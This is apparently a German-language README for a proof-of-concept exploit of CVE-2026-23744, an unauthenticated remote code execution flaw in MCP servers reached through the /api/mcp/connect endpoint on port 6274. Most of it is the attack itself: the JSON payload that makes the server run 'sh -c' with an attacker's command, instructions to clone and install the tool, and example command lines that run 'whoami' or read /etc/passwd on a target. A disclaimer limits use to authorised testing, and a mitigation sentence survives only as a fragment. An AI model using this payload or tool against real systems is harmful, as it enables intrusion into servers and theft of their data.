
Python-PoC für CVE-2026-23744, nicht authentifizierte RCE in MCP-Servern über das serverConfig-Befehlsfeld von /api/mcp/connect (Standardport 6274)
Proof-of-Concept-Exploit von d3vn0mi
CVE-2026-23744 ist eine nicht authentifizierte Remote-Code-Execution-Schwachstelle (RCE) in MCP-kompatiblen Servern, die auf Port 6274 bereitgestellt werden. Der Endpunkt /api/mcp/connect akzeptiert ein serverConfig-Objekt, das es Aufrufern ermöglicht, einen beliebigen Betriebssystembefehl und Argumente anzugeben — ohne jegliche Authentifizierungs- oder Autorisierungsprüfungen.
Ein Angreifer mit Netzwerkzugriff auf den Dienst kann beliebige Befehle als der Benutzer ausführen, unter dem der MCP-Server läuft.
| Detail | Wert |
|---|
| CVE-ID | CVE-2026-23744 |
| Typ | Nicht authentifizierte Remote Code Execution |
| Endpunkt | POST /api/mcp/connect |
| Port | 6274 (Standard) |
| Schweregrad | Kritisch |
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_COMMAND>"],
"env": {}
},
"serverId": "anything"
}
Der Server startet den bereitgestellten command mit den angegebenen args, ohne Bereinigung oder Zugriffskontrolle.
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt
# Grundlegende Verwendung
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'
# Benutzerdefinierter Port
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'
# Erreichbarkeitsprüfung überspringen
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check
# Benutzerdefinierte Server-ID
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server
| Flag | Beschreibung |
|---|---|
-t, --target | Ziel-IP oder Hostname (erforderlich) |
-c, --command | Auszuführender Betriebssystembefehl (erforderlich) |
-p, --port | Zielport (Standard: 6274) |
-s, --server-id | serverId-Wert in der Payload |
--timeout | Probe-Timeout in Sekunden (Standard: 30) |
--no-check | Initiale Erreichbarkeitsprüfung überspringen |
/api/mcp/connect über Authentifizierung und Netzwerkebenen-Kontrollen.Dieses Tool wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch. Holen Sie immer eine ordnungsgemäße Autorisierung ein, bevor Sie testen.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.
d3vn0mi — github.com/d3vn0mi